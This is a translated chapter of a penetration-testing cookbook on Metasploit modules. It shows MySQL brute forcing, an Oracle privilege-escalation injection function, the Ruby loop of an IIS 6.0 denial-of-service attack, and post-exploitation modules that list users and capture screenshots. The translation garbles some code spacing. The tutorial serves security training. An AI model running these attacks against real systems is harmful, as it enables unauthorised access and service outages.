Metasploit Penetration Testing Cookbook - Part 7

Original author: Abhinav Singh
  • Transfer

Translation of the seventh part of the Metasploit Penetration Testing Cookbook


metasploit cookbook

Chapter 7. Working with modules


In this chapter, we examine the following:
  • Work with auxiliary scan modules
  • Work with auxiliary admin modules
  • SQL injection and DOS modules
  • Post-operational modules
  • Basics of creating modules
  • Module analysis
  • Creating a post-production module


Introduction


In the first chapter, we talked about the basics of Metasploit. We started with the fact that it has a modular architecture. This means that all exploits, payloads, encoders, etc. Present in the form of modules. The modular architecture makes it easy to extend the functionality of the framework. Any programmer can develop their own module and easily include it in the Metasploit framework. The penetration testing process may include several modules during system operation. For example, we start with the operational module, then we start using the payload module, then we can use several post-operational modules. Finally, we can use various modules to connect to the database to save our conclusions and results.

This chapter focuses on the / pentest / exploits / framework3 / modules directory, which contains a complete list of useful modules that will help us in penetration testing.

Work with auxiliary scan modules


Let's start with the scan modules. We already studied scanning in detail when we talked about nmap. In this recipe, we will analyze some of the ready-made modules that come with Metasploit. Although nmap is a powerful scanning tool, there are situations in which you need a special type of scan, for example, scanning for the presence of a MySQL database. To find the list of available scanners, we must go to / pentest / exploits / framework3 / modules / auxiliary / scanner . Let's start with the basic HTTP scanner.

Consider dir_scanner . The script will scan the host or the entire network to find interesting directory listings that can be further explored to gather information.

msf> use auxiliary / scanner / http / dir_scanner 
msf auxiliary (dir_scanner)> show options 
Module options (auxiliary / scanner / http / dir_scanner):
   Name Current Setting Required Description
   ---- --------------- -------- -----------
   DICTIONARY /opt/metasploit/msf3/data/wmap/wmap_dirs.txt no Path of word dictionary to use
   PATH / yes The path to identify files
   RHOSTS yes The target address range or CIDR identifier
   RPORT 80 yes The target port
   THREADS 1 yes The number of concurrent threads
   VHOST no HTTP server virtual host

The show options command will show the available options that can be enabled in the module.

Let's look at a specific example. The mysql_login module  , which scans the target for the presence of a MySQL server and, if it finds it, tries to access the database using brute force to attack:

msf> use auxiliary / scanner / mysql / mysql_login 
msf> show options 
Module options (auxiliary / scanner / mysql / mysql_login):
   Name Current Setting Required Description
   ---- --------------- -------- -----------
   BLANK_PASSWORDS true no Try blank passwords for all users
   BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
   PASSWORD no A specific password to authenticate with
   PASS_FILE no File containing passwords, one per line
   RHOSTS yes The target address range or CIDR identifier
   RPORT 3306 yes The target port
   STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
   THREADS 1 yes The number of concurrent threads
   USERNAME no A specific username to authenticate as
   USERPASS_FILE no File containing users and passwords separated by space, one pair per line
   USER_AS_PASS true no Try the username as the password for all users
   USER_FILE no File containing usernames, one per line
   VERBOSE true yes Whether to print output for all attempts

As you can see, the module contains many parameters. You can specify files with usernames and passwords. Let's do this:

msf auxiliary (mysql_login)> set USER_FILE /users.txt
USER_FILE => /users.txt
msf auxiliary (mysql_login)> set PASS_FILE /pass.txt
PASS_FILE => /pass.txt

Now we are ready to use brutus. It remains to specify the goal and run the module:

msf auxiliary (mysql_login)> set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary (mysql_login)> run
[*] 192.168.56.101{306 - Found remote MySQL version 5.0.51a
[*] 192.168.56.101{306 Trying username: 'administrator' with password: ''

The conclusion shows that the module began the process by searching for the MySQL server on the target. After which he began to substitute the username / password combinations that are in the files.

Work with auxiliary admin modules


Let's learn a few admin modules. Modules can serve various purposes, for example, searching for an admin panel or checking for default username / password. It all depends on the functionality. Consider mysql_enum :

msf> use auxiliary / admin / mysql / mysql_enum 
msf> show options 
Module options (auxiliary / admin / mysql / mysql_enum):
   Name Current Setting Required Description
   ---- --------------- -------- -----------
   PASSWORD no The password for the specified username
   RHOST yes The target address
   RPORT 3306 yes The target port
   USERNAME no The username to authenticate as

As you can see, the module accepts login, password and RHOST parameters . It can be used to find the MySQL database, as well as for brute. We analyze the execution of the command:

msf auxiliary (mysql_enum)> exploit
[*] Configuration Parameters:
[*] C2 Audit Mode is Not Enabled
[*] xp_cmdshell is Enabled
[*] remote access is Enabled
[*] allow updates is Not Enabled
[*] Database Mail XPs is Not Enabled
[*] Ole Automation Procedures are Not Enabled
[*] Databases on the server:
[*] Database name: master

The module returns a lot of useful information. He tells us that cmdshell and remote access were enabled on the target MySQL. It also returns the name of the database that is running as a process on the target machine.

There are several similar modules for other services, such as MSSQL and Apache. The principle of operation is the same for everyone. Remember to use the show options command  to make sure that you pass the necessary parameters.

SQL injection and DOS modules


The SQL injection module uses known vulnerabilities, enter its use and provide unauthorized access. Vulnerability is known to affect Oracle 9i and 10g. Metasploit contains several modules that use known vulnerabilities in Oracle. Modules can be found in modules / auxiliary / sqli / oracle . Let's

analyze oracle vulnerability Oracle DBMS_METADATA XML . This vulnerability will escalate privileges from DB_USER to DB_ADMINISTRATOR ( DBA ). We will use the dbms_metadata_get_xml module :

msf> use auxiliary / sqli / oracle / dbms_metadata_get_xml 
msf> show options 
Module options (auxiliary / sqli / oracle / dbms_metadata_get_xml):
   Name Current Setting Required Description
   ---- --------------- -------- -----------
   DBPASS TIGER yes The password to authenticate with.
   DBUSER SCOTT yes The username to authenticate with.
   RHOST yes The Oracle host.
   RPORT 1521 yes The TNS port.
   SID ORCL yes The sid to authenticate with.
   SQL GRANT DBA to SCOTT no SQL to execute.

The database first checks the login using the default credentials “scott” and “tiger”. When a module receives login as a database user, then it executes malicious code to escalate privileges to the database administrator.

msf auxiliary (dbms_metadata_get_xml)> set RHOST 192.168.56.1
msf auxiliary (dbms_metadata_get_xml)> set SQL YES
msf auxiliary (dbms_metadata_get_xml)> run

The next module that we will examine is related to a denial of service (DOS) attack. We will analyze a simple vulnerability in IIS 6.0, which allows an attacker to crash a server by sending a POST request containing more than 40,000 request parameters. This module was tested on an unpatched Windows 2003 server running IIS 6.0. We will use ms10_065_ii6_asp_dos as a module :

msf> use auxiliary / dos / windows / http / ms10_065_ii6_asp_dos
msf auxiliary (ms10_065_ii6_asp_dos)> show options
Module options (auxiliary / dos / windows / http / ms10_065_ii6_asp_dos):
   Name Current Setting Required Description
   ---- --------------- -------- -----------
   RHOST yes The target address
   RPORT 80 yes The target port
   URI /page.asp yes URI to request
   VHOST no The virtual host name to use in requests
msf auxiliary (ms10_065_ii6_asp_dos)> set RHOST 192.168.56.1 RHOST => 192.168.56.1
msf auxiliary (ms10_065_ii6_asp_dos)> run
[*] Attacking http://192.168.56.1:80/page.asp

After the run command , the module will start attacking the target IIS server by sending an HTTP request to port 80 with a URI in the form of page.asp . Successful execution of the module will result in a complete denial of service for the IIS server.

The oracle database vulnerability is exploited by injecting a user-defined PL / SQL function that runs in the SYS context, and this elevates the privileges of the scott user as an administrator.
Let's look at two vulnerabilities. Oracle Database Vulnerability by Vulnerability is performed by injecting a user-defined PL / SQL function that runs in the context of SYS and elevates the user  “scott” to administrator.
Function example:

   CREATE OR REPLACE FUNCTION "SCOTT". "ATTACK_FUNC" return varchar2 authid current_user as pragma autonomous_transaction;
   BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
   COMMIT;
   RETURN '';
   END


The function will escalate the privileges of the user "scott" .
SELECT SYS.DBMS_METADATA.GET_DDL ('' '|| SCOTT.ATTACK_FUNC () ||' '', '')
FROM dual;

The previous lines of code explain the injection process. A detailed analysis of vulnerabilities in Oracle software is beyond the scope of the book / translation.

Now there is a DOS attack module that uses the vulnerability in IIS 6.0 server. An attacker sends a POST request, which includes more than 40,000 request parameters, and is sent in the form application / x-www-form-urlencoded, the encoding type. Here is part of the script that the module serves:

Now, consider a module for a DOS attack that exploits a vulnerability in IIS 6.0. An attacker sends a POST request that includes more than 40,000 request parameters and sends an encoding type in the form  application / x-www-form-urlencoded .

while (1)
 begin
 connect
 payload = "C = A &" * 40000
 length = payload.size
 sploit = ​​"HEAD # {datastore ['URI']} HTTP / 1.1 \ r \ n"
 sploit << "Host: # {datastore ['VHOST'] || rhost} \ r \ n"
 sploit << "Connection: Close \ r \ n"
 sploit << "Content-Type: application / x-www-form-urlencoded \ r \ n"
 sploit << "Content-Length: # {length} \ r \ n \ r \ n"
 sploit << payload
 sock.put (sploit)
 #print_status ("DoS packet sent.")
 disconnect
 rescue Errno :: ECONNRESET
 next
 end
 end

As you can see, the script generates a payload size of more than 40,000. Then a connection is established on port 80 to send an HTTP request to the IIS server. After the request has been transferred to the server, it will crash and stop working.

Post-operational modules


We have a separate dedicated list of modules that can improve our skills in the pentest. Since they are post-operational modules, we will need an active session with a goal. We can use any of the methods described in previous chapters to gain access to the target.

Post-modules - a collection of the most interesting and convenient functions that you can use during penetration testing. Let's quickly analyze some of them. We will use unbroken Windows 7 with an active meterpreter session.

Let's start with a simple enum_logged_on_users module. It shows a list of users who are logged into Windows.

meterpreter> getsystem
... got system (via technique 4).
meterpreter> run post / windows / gather / enum_logged_on_users
[*] Running against session 1
Current logged users
======================
SID User
--- ----
S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC \ DARKLORD
Recently Logged Users
=======================
SID Profile Path
--- ------------
S-1-5-18% systemroot% \ system32 \ config \ systemprofile
S-1-5-19 C: \ Windows \ ServiceProfiles \ LocalService
S-1-5-20 C: \ Windows \ ServiceProfiles \ NetworkService
S-1-5-21-23502 C: \ Users \ DARKLORD
S-1-5-21-235 C: \ Users \ Winuser

Successful module execution shows us two tables. The first table shows the user logged in, and the second table shows the recently logged in user.

Take another example. There is an interesting post-module that takes a screenshot of the screen on the target machine.

meterpreter> run post / windows / gather / screen_spy
 [*] Migrating to explorer.exe pid: 1104
 [*] Migration successful
 [*] Capturing 60 screenshots with a delay of 5 seconds

You can analyze the enum_logged_on_user.rb and screen_spy.rb scripts in modules / post / windows / gather . They will help you get an idea of ​​how these modules work.

Basics of creating modules


To start creating our own module, we need basic knowledge of Ruby. We have already discussed the use and implementation of Ruby in meterpreter scripting.
Let's start with the basics. To make the module readable for Metasploit, you need to import the MSF libraries:
require 'msf / core'

This line indicates that the module will include all the dependencies and functions of the Metasploit framework.
class Metasploit3 <Msf :: Auxiliary
This line defines the class that inherits the properties of the auxiliary family. The auxiliary module can import several functions, such as scanning, opening a connection, using a database, and so on:

include Msf ::

The include statement is used to include specific framework functionality in a module. For example, if we are building a scanner module, then you can enable it as:

include Msf :: Exploit :: Remote :: TCP

This line will include remote TCP scan functionality.

def initialize
               super (
                     'Name' => 'TCP Port Scanner',
                     'Version' => '$ Revision $',
                     'Description' => 'Enumerate open TCP services',
                     'Author' => [darklord],
                     'License' => MSF_LICENSE
 )

The script lines give us information about the module, its name, version, author, description, etc.

register_options (
                [
 OptString.new ('PORTS', [true, "Ports to scan (eg 25,80,110-900)", "1-10000"]),
 OptInt.new ('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]),
 OptInt.new ('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), self.class)
 deregister_options ('RPORT')

Module analysis


Now we will analyze the ftp module. We already discussed the basic module template in the previous recipe, so here we will proceed from the main part of the script.
For analysis, we take the anonymous ftp access module. The main script is located at the following address: pentest / exploits / framework3 / modules / auxiliary / scanner / ftp / anonymous.rb
Full script for reference:

class Metasploit3 <Msf :: Auxiliary
 include Msf :: Exploit :: Remote :: Ftp
 include Msf :: Auxiliary :: Scanner
 include Msf :: Auxiliary :: Report
def initialize
              super (
                    'Name' => 'Anonymous FTP Access Detection',
                    'Version' => '$ Revision: 14774 $',
                    'Description' => 'Detect anonymous (read / write) FTP server access.',
                    'References' => [['URL', 'http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],],
                    'Author' => 'Matteo Cantoni ',
                    'License' => MSF_LICENSE
)
register_options ([Opt :: RPORT (21),], self.class)
end
def run_host (target_host)
                begin
                res = connect_login (true, false)
                banner.strip! if banner
                dir = Rex :: Text.rand_text_alpha (8)
if res
write_check = send_cmd (['MKD', dir], true)
if (write_check and write_check = ~ / ^ 2 /)
send_cmd (['RMD', dir], true)
print_status ("# {target_host}: # {rport} Anonymous READ / WRITE (# {banner})")
access_type = "rw"
else
print_status ("# {target_host}: # {rport} Anonymous READ (# {banner})")
access_type = "ro"
end
report_auth_info (
                 : host => target_host,
                 : port => rport,
                 : sname => 'ftp',
                 : user => datastore ['FTPUSER'],
                 : pass => datastore ['FTPPASS'],
                 : type => "password _ # {access_type}",
                 : active => true
)
end
disconnect
rescue :: Interrupt
raise $!
rescue :: Rex :: ConnectionError, :: IOError
end
end
end

Let's analyze how the script works:

def run_host (target_host)
                begin
                res = connect_login (true, false)
                banner.strip! if banner
                dir = Rex :: Text.rand_text_alpha (8)

This function is used to start the connection. The res variable contains the boolean value true or false . The connect_login function establishes a connection to a remote host.

if res
      write_check = send_cmd (['MKD', dir], true)
      if (write_check and write_check = ~ / ^ 2 /)
      send_cmd (['RMD', dir], true)
      print_status ("# {target_host}: # {rport} Anonymous READ / WRITE (# {banner})")
      access_type = "rw"
      else
      print_status ("# {target_host}: # {rport} Anonymous access_type =" ro "

Once the connection is established, the module tries to check whether the anonymous user has read / write permissions or not. write_check checks if a write operation is possible or not. It then checks whether the operation is successful or not. Depending on the status of privileges, a message is printed on the screen. If the write operation "failed", then the status is printed as ro or read-only:

report_auth_info (
                 : host => target_host,
                 : port => rport,
                 : sname => 'ftp',
                 : user => datastore ['FTPUSER'],
                 : pass => datastore ['FTPPASS'],
                 : type => "password _ # {access_type}",
                 : active => true
 )
 end


This was a small demonstration of how a module functions in a framework. You can modify existing scripts to meet your needs.
In the following example, we will see how to create your own module and load it into the framework.

Creating a post-production module


Let's create a small post-production module that will list all installed applications on the target machine.

To start with the creation of the module, we first import the framework of the library and include the required dependencies:

First, import the library framework and enable the required dependencies:

require 'msf / core'
 require 'rex'
 require 'msf / core / post / windows / registry'
 class Metasploit3 <Msf :: Post 
 include Msf :: Post :: Windows :: Registry 
 def initialize (info = {}) 
    super (update_info (info, 
          'Name' => 'Windows Gather Installed Application Enumeration',
          'Description' =>% q {This module will enumerate all installed applications},
          'License' => MSF_LICENSE,
          'Platform' => ['windows'],
          'SessionTypes' => ['meterpreter']
 )))
 end

The script starts with the Metasploit core libraries. Then we create a class that extends the properties of the Msf :: Post modules.

Next, we create an initialization function that is used to initialize and define the module properties and description. This basic structure remains the same in almost all modules.

Next, we create the initialization function, which is used to initialize and determine the properties of the module. This basic structure remains the same in almost all modules.

It should be noted here that we included " rex " as well as the "registry" libraries.

Now our next step is to create a table that can display our extracted result. We have a special library Rex :: Ui :: Textthat can be used to complete this task.

def app_list
  tbl = Rex :: Ui :: Text :: Table.new (
  'Header' => "Installed Applications",
  'Indent' => 1,
  'Columns' => ["Name", "Version"])
   appkeys = [
             'HKLM \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
             'HKCU \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
             'HKLM \\ SOFTWARE \\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
             'HKCU \\ SOFTWARE \\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall',
 ]
 apps = []
 appkeys.each do | keyx86 |
 found_keys = registry_enumkeys (keyx86)
 if found_keys
 found_keys.each do | ak |
 apps << keyx86 + "\\" + ak
 end
 end
 end

The body of the script begins with building a table and various column names. Then a separate array is created in the registry that will be used to enumerate the list of applications. The array will consist of various registry lines that contain information about installed applications on the target computer. Application data is stored in a separate array, called as apps .

So, we begin to process the enumeration by running a loop that looks at different places in the registry stored in the appskey array. Then the enumeration process begins, starting a cycle that looks at different locations in the registry and is stored in the appskey array :

 t = []
     while (not apps.empty?)
    1.upto (16) do t << framework.threads.spawn ("Module (# {self.refname})", false, apps.shift) do | k |
    begin
    dispnm = registry_getvaldata ("# {k}", "DisplayName")
    dispversion = registry_getvaldata ("# {k}", "DisplayVersion")
    tbl << [dispnm, dispversion] if dispnm and dispversion rescue 
    end 
    end

The following lines of script fill tables with different values ​​in the corresponding columns. The script uses the built-in registry_getvaldata function , which retrieves the values ​​and adds them to the table:

results = tbl.to_s
   print_line ("\ n" + results + "\ n")
   p = store_loot ("host.applications", "text / plain", session, results, "applications.txt", "Installed Applications")
   print_status ("Results stored in: # {p}")
   end
   def run
   print_status("Enumerating applications installed on #{sysinfo['Computer']}")
   app_list
   end
   end

The last few lines of the script are used to store information in a separate text file called applications.txt. The file is populated using the store_loot function, which saves the complete table to a text file.

The last few lines of the script are used to store information in a separate text file called applications.txt . The file is populated using the store_loot function , which stores the complete table in a text file.

Finally, a result is displayed on the screen indicating that the file was created. This was a small example of how you can create and add your own module in the framework. You definitely need knowledge of Ruby scripting.

By the way, for everyone who wants to learn the professional Pentester tool - Metasploit Framework - I recommend a webinar course from Konstantin Levin: Penetration testing using the Metasploit Framework

Also popular now: